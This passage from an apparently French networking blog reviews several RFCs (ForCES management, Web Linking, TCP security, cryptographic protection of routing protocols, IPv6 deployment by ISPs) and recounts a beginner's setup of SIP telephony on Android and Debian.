Pas de protocole réaliste sans possibilité de gestion. La section 6 détaille le comportement de ForCES face aux exigences de la gestion du réseau. Le point important est que, quel que soit le degré de séparation entre CE et FE, ForCES permet de voir le routeur comme un élément unique. Cela se réalise en faisant passer l'essentiel des fonctions de gestion à travers le CE. Notre RFC recommande ainsi que tous les messages SNMP soient transmis au CE (par exemple en utilisant les mécanismes du RFC 2741). Ceux qui vont quand même directement traités par les FE doivent, ou bien être en lecture seule, ou bien permettre une notification du CE, afin que celui-ci reste seul maître. ForCES dispose d'une MIB, décrite dans le RFC 5813, qui permet d'accéder à des informations comme les associations entre le CE et les FE.


Téléchargez le RFC 6041


L'article seul

Les aventures d'un débutant dans le monde de la téléphonie SIP

Première rédaction de cet article le 29 octobre 2010
Dernière mise à jour le 1 novembre 2010


Personnellement, je suis plus à l'aise avec le shell et les scripts Python qu'avec les beautés merveilleuses du multimédia. Je sais envoyer et recevoir du courrier, me connecter en IRC ou en XMPP mais la téléphonie, c'est autre chose. Mais il ne faut jamais rester ignorant, et j'ai donc décidé d'essayer la téléphonie sur IP avec le protocole SIP. Deux motivations : apprendre un peu plus sur SIP et téléphoner moins cher.

Premièrement, un point important sur SIP. Ce protocole, décrit dans le RFC 3261 (et dans d'innombrables RFC auxiliaires), a de nombreuses possibilités et même les experts SIP (dont je ne fais pas partie) en oublient souvent. Par exemple, son mode de fonctionnement le plus courant, car calqué sur la téléphonie classique, consiste à avoir un compte chez un opérateur (SIP provider) comme, par exemple :

  • SIPgate, « Only for US residents »,
  • OVH, très bon marché,
  • VoIPcheap,
  • OnSIP qui, à en juger par ses prix, s'adresse à des utilisateurs professionnels,
  • mais aussi Ekiga ou SIP2SIP, purement IP et qui n'offrent pas de passerelle vers le PSTN mais qui sont gratuits.

Le logiciel SIP (le softphone) s'enregistre lors de son démarrage auprès dudit opérateur (section 10 du RFC 3261). Il pourra ensuite passer des coups de téléphone, y compris vers le traditionnel réseau téléphonique non-SIP, avec ses archaïques numéros. Mais SIP permet aussi des appels directs, de logiciel à logiciel, sans passer par un opérateur. Cela ne permet pas d'appeler les téléphones traditionnels (il faut bien que quelqu'un paie l'acheminement sur le réseau traditionnel, c'est l'opérateur si on est abonné). Cela ne permet pas non plus d'avoir un service de répondeur, cela ne permet pas d'appel entrant (si on est derrière un routeur NAT) mais, pour les appels sortants, c'est quand même cool. Et cela a l'avantage d'être une solution 100 % Internet, y compris dans son adressage (on se sert d'adresses SIP, des URI, comme helpdesk@voip.apnic.net et non plus de numéros de téléphone) et gratuite (ou, plus exactement, incluse dans le prix de l'accès à l'Internet). Et cela évite de confier ses données privées à un tiers. À noter enfin qu'on peut aussi être son propre opérateur, en installant son propre serveur, par exemple Kamailio (ex-OpenSER). Je n'ai pas testé cette solution.

Donc, pour résumer, pour faire du SIP, il faut :

et, si on veut aller vers le PSTN :

  • Un opérateur SIP. Étant abonné de Free, j'ai d'abord utilisé Freephonie, l'opérateur SIP de Free, qui est inclus dans l'abonnement de base.

Freephonie est un service très agréable. On le configure depuis sa console d'administration Free (« Téléphonie » -> « Gestion de mon compte SIP / Gérer mon téléphone wifi »). On reçoit une adresse SIP du type NNNNNNNN@freephonie.net (oui, hélas, l'adresse inclut un numéro de téléphone) et tous les appels que feront le logiciel SIP « viendront » du numéro de la Freebox. Attention toutefois, pour faire des économies en appelant des pays lointains, on ne peut pas utiliser Freephonie, qui ne marche plus avec l'étranger depuis 2007 (voir aussi http://www.universfreebox.com/article4058.html). On trouvera plein d'autres informations sur Freephonie sur le site non-officiel.

Je me suis ensuite abonné au service d'OVH. Techniquement, tout marche très bien, je peux appeler la Chine, on se comprend, il me reste à voir sur le long terme (suprises éventuelles pour la facturation), etc. L'interface du client (qu'OVH apelle le manager) est amusante car SIP y est un ajout récent et, pour voir la facture, il faut choisir un... « domaine » dont le nom est le numéro de téléphone.

Maintenant qu'on a un abonnement, avec un téléphone Android (en l'occurrence un HTC Desire), que se passe-t-il ? J'ai choisi pour l'instant le logiciel cSIPsimple. Il est libre, fait tout ce qu'on peut souhaiter, est activement développé, des nouvelles fonctions sont ajoutées lorsqu'on demande, il marche bien avec plusieurs comptes (et, dans une version actuellement beta, avec des comptes « locaux », sans opérateur). Parmi les choses agréables avec cSIPsimple, les « wizards » de configuration pour les opérateurs connus.

J'avais d'abord testé SIPdroid, logiciel libre. Il n'est pas évident à configurer, surtout si on a eu le malheur de le tester sans accès au réseau : c'est alors un festival de plantages. Si on est connecté à un réseau, ça marche mieux. La configuration est simple mais j'avoue ne pas comprendre pourquoi il y a deux menus « Réglages du compte SIP ». Est-ce pour permettre d'avoir plusieurs comptes ? Mais, alors, pourquoi seulement deux ? Et comment sélectionner l'un ou l'autre ? En tout cas, avec un compte Freephonie, tout marche (mettre le numéro de téléphone comme « Nom d'utilisateur pour l'authentification » et « Nom d'utilisateur appelant », et freephonie.net comme domaine). Je peux alors appeler un numéro de téléphone, qui verra un appel comme s'il venait de ma Freebox, et aux tarifs de Free, pas à ceux de l'opérateur mobile. Notez qu'il vaut mieux ne pas se tromper de numéro, en cas de problème, SIPdroid ne fournit aucune explication.

Je n'ai pas trouvé où configurer un compte « SIP direct », sans opérateur. Peut-être faut-il obligatoirement s'enregistrer à pbxes.org, comme semble l'indiquer la FAQ. Et je n'ai pas trouvé comment déclarer plusieurs comptes et passer facilement de l'un à l'autre. Globalement, SIPdroid m'a paru faible, côté finition. Un bon article sur sa configuration est http://www.android-software.fr/sipdroid et il y a un autre article sur sa configuration avec Freephonie.

Et avec 3cx, logiciel commercial ? Il y a nettement moins de problèmes. Comme SIPdroid, on peut configurer pour le service Freephonie et cela fonctionne, la documentation est claire. On peut aussi lire un article en français sur la configuration avec Freephonie.

Dans les deux cas, ces deux logiciels ne semblent pas permettre les appels directs en SIP pur, et 3cx ne semble même pas fournir de moyen d'indiquer un URI comme adresse à joindre.

Je n'ai pas non plus été convaincu par un autre logiciel libre, Linphone, qui ne permet apparemment que d'enregistrer un seul compte SIP, ce qui est peu réaliste : il n'y a pas d'opérateur SIP assez complet pour qu'on puisse n'utiliser que lui.

Et sur un PC avec un Unix ? J'ai testé sur une machine Debian le logiciel Twinkle. D'abord, un gros problème avec Linux : le son est toujours très difficile à configurer. J'arrive à écouter sans trop de problème mais enregistrer est une autre histoire. Il m'a fallu pas mal de réglages pour obtenir un son acceptable (merci à Vincent Tondellier et Jean-Yves F. Barbier pour leur aide). Pour tester, j'enregistre du son avec :

% arecord -f cd -d 3 /tmp/test-mic.wav
Recording WAVE '/tmp/test-mic.wav' : Signed 16 bit Little Endian, \
  Rate 44100 Hz, Stereo

Et j'écoute le fichier résultant avec aplay ou mplayer. Ma carte son est :

% lspci
...
00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 02)
...
% arecord -l
**** List of CAPTURE Hardware Devices ****
card 0: Intel [HDA Intel], device 0: ALC883 Analog [ALC883 Analog]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 0: Intel [HDA Intel], device 1: ALC883 Digital [ALC883 Digital]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 0: Intel [HDA Intel], device 2: ALC883 Analog [ALC883 Analog]
  Subdevices: 1/1
  Subdevice #0: subdevice #0

À l'heure actuelle, la qualité sonore est encore perfectible, il va falloir que je continue les réglages. Sur un autre PC, avec une autre carte son, cela marche nettement mieux. Le son, sur Linux, ce n'est pas facile. Règle générale du son sur Linux : 95 % des problèmes se résolvent depuis alsamixer. Par exemple, à mes débuts, dans la vue "Capture" :

  • Les "Input source" étaient à "Mic" alors qu'il fallait indiquer "Front mic", le micro avant de mon PC.
  • Les "Capture" n'étaient pas activés (barre d'espacement, un L et un R doivent alors apparaître). En raison de ces deux premiers points, je n'enregistrais que du silence.
  • Les valeurs de "Capture" et "Digital" étaient trop élevées (dans la zone rouge). Le son saturait complètement. J'ai abaissé jusqu'à la zone verte.

En attendant, Twinkle, lui, fonctionne bien. Le configurer pour le service Freephonie est simple (User name et Authentication name le numéro de téléphone Free et Domain freephonie.net) et cela fonctionne.

Twinkle gère facilement des profils multiples et permet de passer de l'un à l'autre. Si on laisse le champ Authentication name vide, Twinkle n'essaie pas de s'enregistrer et on peut faire sans problème des appels directs, sans opérateur.

Au fait, pour tester SIP, sans déranger ses copains en les appelant toutes les trente secondes pour vérifier le résultat d'un changement de réglage, il existe plusieurs listes de numéros ou d'URI à appeler, avec un robot en face :

Pour les appels SIP directs, j'ai surtout utilisé l'excellent service d'écho echo@iptel.org, qui vous répète ce que vous lui dites au téléphone. Si vous aimez regarder des paquets sur pcapr.net, une session complète entre Twinkle et ce service figure en http://www.pcapr.net/view/bortzmeyer+pcapr/2010/9/4/13/sip-direct.pcap.html. De nombreuses autres traces SIP sont disponibles. Apparemment (mais je ne l'ai pas testé), 123@voip.w3.org fournit un service d'écho équivalent à celui d'Iptel.

Un bon article d'introduction à Twinkle est « Twinkle: My favorite SIP program ». Et merci à Christophe Wolfhugel pour ses conseils très détaillés.


L'article seul

RFC 5988: Web Linking

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : M. Nottingham
Chemin des normes
Première rédaction de cet article le 29 octobre 2010


Le lien est à la base du Web. Mais, malgré plusieurs tentatives, deux choses manquaient aux liens Web que ce RFC est venu combler :

  • Un registre des types de lien,
  • Un mécanisme standard pour indiquer un lien dans une réponse HTTP.

Il a depuis été remplacé par le RFC 8288.

Bien sûr, des formats normalisés qui permettent des liens, il y en a plusieurs, et avant tout HTML, avec le fameux élément <A> (pour anchor). Il y a aussi le plus récent Atom (RFC 4287, notamment la section 4.2.7). Comme HTML, Atom avait l'idée de registre des types de liens, mais ces types étaient spécifiques à Atom. L'une des idées phares de ce RFC 5988 est de généraliser le concept de type de lien et de le rendre accessible à tous les formats et protocoles qui en ont besoin. Ce RFC décrit un cadre général pour les types de liens, en partant de celui d'Atom.

Second apport de cette nouvelle norme, une (re-)définition de l'en-tête HTTP Link:, utilisant évidemment le nouveau cadre général. Cet en-tête permettant d'indiquer un lien dans la réponse HTTP, indépendamment du document servi avait été normalisé dans le RFC 2068, section 19.6.2.4, puis, peu utilisé, avait été supprimé par le RFC 2616, avant de faire se réapparition ici, sous une forme quasi-identique à l'original. On peut voir cet en-tête comme une représentation concrète du cadre de notre RFC. D'autres apparaîtront sans doute.

Pour un exemple réel, regardez les en-têtes Link: de mon blog, il y en a un de type licence, suivant le RFC 4946. Avec Apache, cela se configure simplement avec le module headers et la directive Header set Link "<http://www.gnu.org/copyleft/fdl.html>; rel=\"license\"; title=\"GFDL\"".

Donc, qu'est-ce qu'un lien ? La section 3, la principale du RFC, le définit comme une connexion typée entre deux ressources (une ressource étant typiquement une page Web). Les ressources sont représentées par leur IRI (cf. RFC 3987, en notant que, dans la plupart des cas, les IRI des liens seront des URI). Le lien comprend :

  • Un IRI qui indique le contexte, c'est-à-dire le la ressource de départ,
  • Le type de la connexion (détaillé en section 4),
  • L'IRI cible,
  • D'éventuels attributs de la cible (comme par exemple le hreflang de HTML). Ce sont des couples clé/valeur.

Par exemple, dans le flux de syndication Atom de mon blog, on trouvera un lien <atom:link rel="alternate" href="http://www.bortzmeyer.org/expose-go.html"/> qui se décompose en un contexte (l'entrée Atom dont l'IRI est tag:bortzmeyer.org,2006-02:Blog/expose-go), un type (alternate, qui indique une version alternative de la ressource, ici une page HTML au lieu d'une entrée Atom), et une cible (ici http://www.bortzmeyer.org/expose-go.html). Il n'y a pas dans cet exemple d'attributs de la cible mais Atom en permet (par exemple hfrelang pour indiquer la langue de la cible ou bien length pour indiquer sa longueur - afin de prévenir d'un long téléchargement, par exemple).

Cette définition du lien ne place aucune limite sur la cardinalité. Il peut y avoir zéro, un ou plusieurs liens partant d'une ressource et c'est la même chose pour les lients entrants.

La section 3 s'arrête là. Puisque ce RFC propose un cadre générale, il ne formalise pas une syntaxe unique pour représenter les liens. Chaque format, chaque protocole, aura la sienne.

Un des points les plus importants de cette définition des liens, et qui est souvent ignorée des gens qui écrivent des pages Web, est la notion de type d'un lien (section 4). Par exemple, on pourrait imaginer un type copyright qui associerait, via un lien, un document à l'auteur de celui-ci. Point à retenir : ce type du lien ne doit pas être confondu avec le type de médium du RFC 6838 comme text/html ou audio/ogg.

Il y a deux sortes de type de lien : enregistrés ou bien extensions. Les premiers font l'objet de la section 4.1. Ils ont fait l'objet d'un processus formel d'enregistrement (qui a été discuté jusqu'au dernier moment) et leur liste est publiée sous forme d'un registre IANA. On y trouve par exemple via (RFC 4287) ou hub (http://pubsubhubbub.googlecode.com).

Les extensions sont spécifiées dans la section 4.2. L'idée est que, si on n'a pas envie de se fatiguer à enregistrer un type de lien, et qu'on veut quand même créer un type unique, n'ayant pas de risque de collision avec le travail des autres, on peut simplement se servir d'un URI (forcément unique) pour indiquer le type. Cette URI peut (mais ce n'est pas obligé) mener à une page Web qui décrira le type en question. Ainsi, on pourrait imaginer de réécrire le lien plus haut en <atom:link rel="http://www.bortzmeyer.org/reg/my-link-type" href="http://www.bortzmeyer.org/expose-go.html"/> (en pratique, le format Atom ne permet pas actuellement de telles valeurs pour l'attribut rel.)

Après le cadre général de description des liens, notre RFC introduit une syntaxe concrète pour le cas de l'en-tête Link: des requêtes HTTP. Les autres formats et protocoles devront s'ajuster à ce cadre chacun de son côté. Pour HTTP, la section 5 décrit l'en-tête Link:. La cible doit être un URI (et un éventuel IRI doit donc être transformé en URI), le contexte (l'origine) est la ressource qui avait été demandée en HTTP et le type est indiqué dans le paramètre rel. (Le paramètre rev qui avait été utilisé dans des vieilles versions est officiellement abandonné.) Plusieurs attributs sont possibles comme hreflang, type (qui est le type MIME, pas le type du lien) ou title (qui peut être noté title* s'il utilise les en-têtes étendus du RFC 5987). Pour la plupart de ces attributs, leur valeur est juste une indication, la vraie valeur sera obtenue en accédant à la ressource cible. Ainsi, hreflang dans le lien ne remplace pas Content-Language: dans la réponse et type ne gagnera pas si un Content-Type: différent est indiqué dans la réponse.

Voici des exemples d'en-têtes, tirés de la section 5.5 du RFC :

Link: <http://www.example.com/MyBook/chapter2> rel="previous";
    title="Previous chapter"

Ici, cet en-tête, dans une réponse HTTP, indique que http://www.example.com/MyBook/chapter2 est une ressource liée à la ressource qu'on vient de récupérer et que ce lien est de type previous, donc précède la ressource actuelle dans l'ordre de lecture. L'attribut title indique un titre relatif, alors que la vraie ressource http://www.example.com/MyBook/chapter2 aura probablement un titre du genre « Chapitre 2 ». En application des règles de la section 5.4, c'est ce dernier titre qui gagnera au final.

Un seul en-tête Link: peut indiquer plusieurs liens, comme dans l'exemple suivant :


   Link: </TheBook/chapter2>;
         rel="previous"; title*=UTF-8'de'letztes%20Kapitel,
         </TheBook/chapter4>;
         rel="next"; title*=UTF-8'de'n%c3%a4chstes%20Kapitel

Ce dernier montre également les en-têtes complètement internationalisés du RFC 5987, ici en allemand (étiquette de langue de).

Cet en-tête a été enregistré à l'IANA, en application du RFC 3864 dans le registre des en-têtes (section 6.1).

D'autre part, le registre des types de liens est désormais officiellement créé, remplaçant des registres qui étaient spécifiques à un format ou protocole (comme celui d'Atom, qui avait été créé par le RFC 4287). La section 6.2 décrit en détail ce nouveau registre. Voici, à titre d'exemple, quelques-uns des valeurs qu'on peut y trouver :

  • copyright qui indique le copyright du document (issu de la norme HTML),
  • edit qui indique l'URI à utiliser pour une modification de ce document, comme le permet le protocole APP (RFC 5023),
  • first, qui pointe vers le premier document de la série (défini par ce RFC 5988, même s'il était déjà enregistré),
  • hub qui indique l'endroit où s'abonner pour des notifications ultérieures, suivant le protocole PubSubHubbub),
  • latest-version qui indique où trouver la dernière version d'un document versionné (RFC 5829),
  • licence, qui associe un document à sa licence d'utilisation (RFC 4946),
  • next-archive, qui indique le document archivé suivant (RFC 5005),
  • related, qui indique un document qui a un rapport avec celui-ci (créé pour Atom, dans le RFC 4287),
  • replies, qui indique les réponses faites à ce document (pour mettre en œuvre le threading, RFC 4685),
  • Et bien d'autres encore...

Ce registre est peuplé par le mécanisme dit Designated Expert (cf. RFC 5226), avec exigence d'une norme écrite (l'actuel expert est Mark Nottingham, auteur de plusieurs RFC, dont celui-ci). Pour chaque type, il faudra indiquer le type (aussi nommé relation, comme par exemple previous plus haut), une description et une référence à la norme qui le formalise. Les demandes d'enregistrement sont reçues par link-relations@ietf.org. Par exemple, en novembre 2010, des relations comme search ou help (lien vers une aide en ligne) ont été ajoutées.

Attention, ce n'est pas parce qu'il y a un lien qu'il faut le suivre automatiquement. La section 7, sur la sécurité, met en garde contre la confiance accordée à un lien.

L'annexe A contient une discussion de l'utilisation des liens avec HTML 4, d'où le cadre actuel de définition des liens est issu. Le type y est indiqué par l'attribut rel. Un exemple indiquant la licence en XHTML est donc :


<link rel="license" type="text/html" title="GFDL in HTML format"
      href="http://www.gnu.org/copyleft/fdl.html"/>

L'annexe B discute, elle, de l'utilisation du cadre de définition des liens en Atom, qui utilise l'élément <atom:link> avec les attributs href pour indiquer la cible et rel pour le type. Par exemple, <atom:link rel="license" type="text/html" title="GFDL in HTML format" href="http://www.gnu.org/copyleft/fdl.html"/> indiquera la licence du flux Atom qui contient cet élément (et, oui, Atom et XHTML ont quasiment la même syntaxe).


Téléchargez le RFC 5988


L'article seul

La sécurité de TCP : plein de nouveaux RFC depuis trois ans

Première rédaction de cet article le 28 octobre 2010


Le protocole de transport TCP, normalisé dans le RFC 793 il y a presque trente ans, est le cheval de labour numéro 1 de l'Internet. Malgré l'utilisation intensive d'UDP pour certains transferts de vidéo, malgré la présence de concurrents plus récents, plus perfectionnés, mais nettement moins utilisés, comme SCTP, la grande majorité des octets de données qui voyagent sur l'Internet le font dans un paquet TCP. Mais TCP n'est pas un modèle de sécurité. Tel qu'il était mis en œuvre à l'origine, il était trop facile à tromper, on pouvait couper une connexion, voire injecter de fausses données. Petit à petit, ces failles ont été comblées, notamment par l'excellent travail du groupe IETF tcpm (TCP Maintenance and Minor Extensions). Ce court article résume les principaux RFC sur la sécurité de TCP.

Le premier a sans doute été le RFC 4953 qui exposait le principe des attaques par fabrication de faux paquets TCP et donnait quelques pistes de solutions. Des protocoles de sécurité au niveau applicatif comme SSH (RFC 4251) ne résolvent pas ces problèmes : la connexion TCP sous-jacente peut toujours être ralentie ou coupée par de faux paquets. Il fallait donc des solutions au niveau de TCP.

Ensuite, le RFC 5927, en juillet 2010, se focalisait sur les attaques utilisant ICMP, avec des paquets de contrôle prétendant être lié à une connexion TCP (ces attaques ICMP contre TCP avaient été découvertes par Fernando Gont en 2005). Il fournit sur son site un outil complet pour les exploiter. Le RFC 5927 appelle les programmeurs de TCP à accepter avec plus de prudence les paquets ICMP.

Certaines attaques peuvent se faire entièrement par TCP, comme les attaques RST, documentées dans le RFC 5961, en août 2010, ainsi que les solutions proposées (là encore, accepter les paquets entrants avec moins de confiance, et notamment vérifier les numéros de séquence).

Enfin, le RFC 6056 sur l'aléatoirisation des numéros de port. Son idée est de compliquer la tâche des attaquants aveugles, en rendant peu prévisible l'un des éléments qui permettent l'identification d'un paquet TCP, le numéro de port. Cette sécurité est déjà mise en œuvre dans tous les Unix libres (à l'exception de NetBSD).

Certes, toutes les attaques décrites ici pourraient être évitées en généralisant l'usage d'IPsec (RFC 4301). Mais ce protocole de sécurité, bien trop complexe, pas toujours présent dans les implémentations, celles-ci étant par ailleurs mal documentées, reste peu utilisé. D'où l'idée de solutions moins générales mais qui peuvent apporter un réel progrès de sécurité à TCP, comme l'option d'authentification du RFC 5925. On peut noter que, contrairement aux solutions indiquées plus haut (contrôle de la vraisemblance des numéros de séquence, choix d'un port non prévisible), l'option d'authentification fonctionne non seulement contre l'attaquant aveugle, qui ne peut pas sniffer le réseau, mais aussi contre celui qui peut regarder à loisir les paquets qui passent.

Un bon article expliquant de manière très pédagogique les problèmes de sécurité de TCP (mais, très ancien, il ne contient pas grand'chose sur les solutions) est « TCP/IP Security de Chris Chambers, Justin Dolske, et Jayaraman Iyer.


L'article seul

RFC 6039: Issues with existing Cryptographic Protection Methods for Routing Protocols

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : Vishwas Manral (IP Infusion), Manav Bhatia (Alcatel-Lucent), Joel Jaeggli (Checkpoint Software), Russ White (Cisco Systems)
Pour information
Réalisé dans le cadre du groupe de travail IETF opsec
Première rédaction de cet article le 24 octobre 2010


Le groupe de travail IETF opsec travaille à améliorer la sécurité des protocole de routage. Ce RFC du groupe (l'un des premiers, après les très intéressants RFC 4778 et RFC 5635) fait le point sur l'utilisation actuelle de la cryptographie dans ces protocoles et ses limites, les problèmes qu'elle soulève, notamment de gestion des clés.

Plusieurs protocoles de routage ont des mécanismes standards pour protéger par la cryptographie les informations transmises. OSPF v2 (RFC 2328), OSPF v3 (RFC 5340), IS-IS (RFC 1195), BGP (RFC 4271), ou des protocoles qui, sans être à proprement parler « de routage », en sont néanmoins proches comme BFD (RFC 5880), sont tous capables de prendre un condensat cryptographique de l'information transmise, en utilisant une fonction de hachage comme MD5 (RFC 1321) et une clé secrète. Le routeur récepteur, s'il a la même clé secrète, peut refaire le calcul du condensat et, s'il trouve la même valeur, être rassuré que le message vient bien d'un routeur autorisé, et qu'il n'a pas été modifié en route. (On notera que l'utilisation de protocoles à clés publiques est infiniment plus rare, au point d'être à peine mentionné dans le RFC.)

Notons que ces protocoles n'assurent pas de service de confidentialité : un méchant qui espionne la communication entre deux routeurs peut toujours apprendre les routes échangées.

Comme le note la section 1 du RFC, qui étudie les problèmes génériques, communs à tous les protocoles de routage, cette approche a des limites : l'utilisation de clés secrètes partagées entraine une gestion manuelle des clés, plutôt pénible. Remplacer une clé compromise est ainsi une opération longue et risquée (il est facile d'oublier un routeur, ce qui cassera les communication entre les routeurs ayant la nouvelle clé et les autres). D'autre part, plusieurs cas existent où les attaques par rejeu sont possibles.

Comme le note la section 1.1, la fonction de hachage la plus couramment utilisée est MD5. Celle-ci n'est pas sans reproche, cryptographiquement parlant. Des attaques par collision (trouver deux messages qui ont le même condensat cryptographique) ont déjà été publiées par exemple par Xiaoyun Wang, Xuejia Lai, Dengguo Feng & Hongbo Yu, dans « Collisions for hash functions MD4, MD5, HAVAL-128, and RIPEMD », Crypto 2004 Rump Session. En revanche, des attaques dites « pré-image » (où on produit un message qui a le même condensat qu'un message donné, ce qui est beaucoup plus difficile qu'une attaque par collision) ne semblent pas avoir été publiées. Pour le cas particulier des protocoles de routage, les collisions ne sont pas trop à craindre car beaucoup de champs dans un message ne peuvent pas prendre des valeurs arbitraires (par exemple, dans OSPF le champ « Link State Advertisement function code - section A.4.2.1 du RFC 5340 - peut valoir seulement de 1 à 14). Pour les attaques pré-image, elle seraient sans doute plus graves, mais la taille relativement limitée des messages de routage limite sans doute les risques d'exploitation effective.

SHA-1 a aussi ses faiblesses (section 1.2) mais il faut bien voir qu'elles ne sont pas réellement utilisables pour une attaque, dans les conditions spécifiques des protocoles de routage (cf. RFC 4270 pour un bon arrière-plan sur la question.)

Les sections suivantes détaillent ensuite les problèmes pour le cas spécifique de chaque protocole. À chaque fois, sont indiqués les problèmes d'ordre pratique (gestion des clés) et ceux d'ordre technique (faiblesses dans le protocole). OSPF v2 fait l'objet de la section 2. Les routeurs OSPF d'un même réseau peuvent s'authentifier en condensant les paquets et une clé secrète avec MD5 (RFC 2328, annexe D.3). Cette clé se configure avec :

interface eth0
  ip ospf authentication message-digest
  ip ospf message-digest-key 1 md5 MACLESECRETE

sur Quagga et avec :

authentication-type md5;
	interface fe-0/0/1.0 {
	     authentication {
	         md5 1 key "$9$dEbgoZUjqP5GUApO1hcgoaJHq"; MACLESECRETE 
	     }
	}

sur JunOS. Il existe aussi un mécanisme expérimental de signature des messages par des clés asymétriques (RFC 2154) mais qui n'a apparemment jamais été déployé.

Le condensat cryptographique s'applique aux messages échangés entre routeurs, pas à l'information de routage elle-même. Autrement dit, MD5 dans OSPF sécurise le canal mais pas le message (le LSA). OSPF ne fournit aucun mécanisme de négociation de paramètres comme l'algorithme de hachage utilisé. Si on veut utiliser SHA (RFC 5709), tous les routeurs d'un même lien doivent être manuellement configurés de manière identique. D'une manière générale, tout changement dans les clés doit faire l'objet d'une prudente intervention planifiée et manuellement exécutée.

L'authentification cryptographique dans OSPF a aussi des problèmes techniques (section 2.2) comme le fait que la même clé soit utilisé pour tous les routeurs d'un même réseau Ethernet, obligeant à largement partager le secret.

Pour OSPF v3 (RFC 5340 et section 3), encore peu déployé, la situation est toute différente. Il n'a pas de mécanisme d'authentification intrinsèque et ses utilisateurs sont censés s'appuyer sur IPsec (par exemple RFC 4303, sans chiffrement, comme spécifié dans le RFC 2410, pour avoir juste la signature). La norme de sécurité d'OSPF v3 (RFC 4552) précise que les clés IPsec doivent être gérées manuellement, pas avec un protocole comme IKE parce que le modèle de fonctionnement d'OSPF (un-vers-plusieurs) est très particulier.

Même si le RFC n'en dit pas un mot, le principal problème d'OSPF v3, aussi bien technique que pratique, est qu'IPsec est très peu déployé et que peu d'administrateurs réseaux ont envie de s'y mettre pour assurer une fonction qui, en OSPF v2, ne prenait que deux lignes de configuration.

Et le concurrent d'OSPF, IS-IS (RFC 1195 et section 4 de notre RFC) ? Lui aussi peut utiliser MD5 pour l'authentification (voir RFC 5304). Mais, contrairement à OSPF, la signature porte sur l'annonce d'état d'un lien, pas sur un message échangé entre deux routeurs. Cela veut dire qu'on peut authentifier un routeur distant, mais cela oblige (section 4.1) tous les routeurs à avoir la même clé... Comme OSPF, pas moyen de négocier la clé, ou l'algorithme de condensation. Si on veut remplacer MD5 par SHA-256, un gros travail de gestion est à prévoir.

Faut-il également parler de l'antédiluvien RIP ? La section 6 lui consacre quelques paragraphes. La version historique, dans le RFC 1058, avait zéro service de sécurité. La version 2, actuellement normalisée dans le RFC 2453, et dispose désormais d'un mécanisme d'authentification analogue à ceux des autres protocoles (cf. RFC 4822).

Bien que n'étant pas un protocole de routage, BFD (RFC 5880) est tellement souvent utilisé dans les routeurs qu'il mérite sa section de ce RFC, la 7. BFD sert à détecter la panne d'une liaison. Il dispose d'un mécanisme d'authentification optionnel (sections 4.2 et 6.7 du RFC 5880), à clés partagées. Il hérite donc des problèmes de gestion de clés de ce système.

Et BGP, vedette des protocoles utilisés sur l'Internet, puisque c'est lui qui assure le routage entre opérateurs ? La section 5 détaille ce protocole. BGP est forcément transporté sur TCP. Il peut donc utiliser les options d'authentification de TCP comme celle du RFC 2385 (très répandue en pratique dans le monde BGP) ou bien celle du RFC 5925, plus récente, bien meilleure et plus rare en pratique. Pour cette raison, notre RFC 6039 ne couvre que l'authentification MD5 du RFC 2385. Parmi les problèmes de gestion, il y a le fait que BGP est typiquement utilisé de part et d'autre d'une frontière administrative. Cela complique sérieusement les opérations de gestion de clés. Par exemple, quand avez-vous pour la dernière fois changé un mot de passe MD5 sur une session BGP avec un pair ? (Réponse : vous ne l'avez probablement jamais fait.) Sur un gros point d'échange, un routeur BGP peut se connecter à des dizaines, voire des centaines de pairs, et la gestion des « mots de passe MD5 » pour tous ces pairs est un défi. En général, on ne complique pas ce défi en essayant de suivre des bonnes pratiques, comme le changement des mots de passe...

Et les problèmes techniques de BGP ? Comme il utilise TCP, il profite de ses mécanismes de sécurité (comme les numéros de séquence qui protègent des rejeux) et il hérite de ses faiblesses (voir l'excellent exposé de Convery & Franz à Black Hat, « BGP Vulnerability Testing: Separating Fact from FUD », un modèle pour toute analyse de la sécurité). À plusieurs reprises, les fabricants de routeurs BGP ont dû mettre à jour leur logiciel pour traiter ces vulnérabilités.

À noter que le RFC ne mentionne pas du tout ce qui est probablement la plus grosse faiblesse de sécurité de BGP : le fait qu'on puisse authentifier le voisin, mais pas l'information qu'il envoie (ou relaie). Savoir que c'est bien mon pair 2001:db8:face:b00c::1 avec qui je parle, c'est très bien mais, lorsqu'il annonce une route vers 2001:db8:137::/48, comment savoir s'il a le droit de le faire ou bien si Pakistan Telecom a fait mumuse ? Il n'existe pour l'instant aucun protocole standard pour cela.


Téléchargez le RFC 6039


L'article seul

RFC 6036: Emerging Service Provider Scenarios for IPv6 Deployment

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : B. Carpenter (Univ. of Auckland), S. Jiang (Huawei)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 23 octobre 2010


Maintenant que de nombreux FAI, dans le monde, ont déployé IPv6 et l'offrent comme service à leurs clients, il est temps de regarder ce qu'ils ont fait et de le documenter. Les auteurs de ce RFC ont donc commis un questionnaire début 2010 sur le thème « comment avez-vous déployé IPv6 », et l'ont envoyé à un certain nombres de FAI. Notre RFC 6036 résume les réponses.

Pendant longtemps, la décision de passer à IPv6 ou pas semblait ouverte. On déployait IPv6 quand, comme Nerim, on avait une clientèle techniquement exigeante, et on ne le déployait pas lorsqu'il n'y avait pas de demande des clients (le cas le plus fréquent). Mais, aujourd'hui, le business ne peut plus continuer comme avant, les adresses IPv4 étant presque épuisées. Cela laisse trois choix aux FAI (section 1 du RFC) :

  • Essayer d'économiser à l'extrême les adresses IPv4, en en allouant de moins en moins aux clients (ce qui est difficile pour l'accès individuel, où il n'y a déjà qu'une seule adresse par foyer) et en essayant d'acheter des adresses IPv4 sur les marchés gris ou noirs.
  • Installer de plus en plus de traduction d'adresse en étages successifs et laisser les clients déboguer les problèmes qui en résulteront.
  • Déployer IPv6.

Que font aujourd'hui les FAI ? L'enquête va essayer de répondre à cette question, en se focalisant sur ce qui est de la responsabilité directe des FAI, l'adressage, le routage, la gestion, le DNS, et en excluant les applications (qui sont souvent un des freins à la migration vers IPv6).

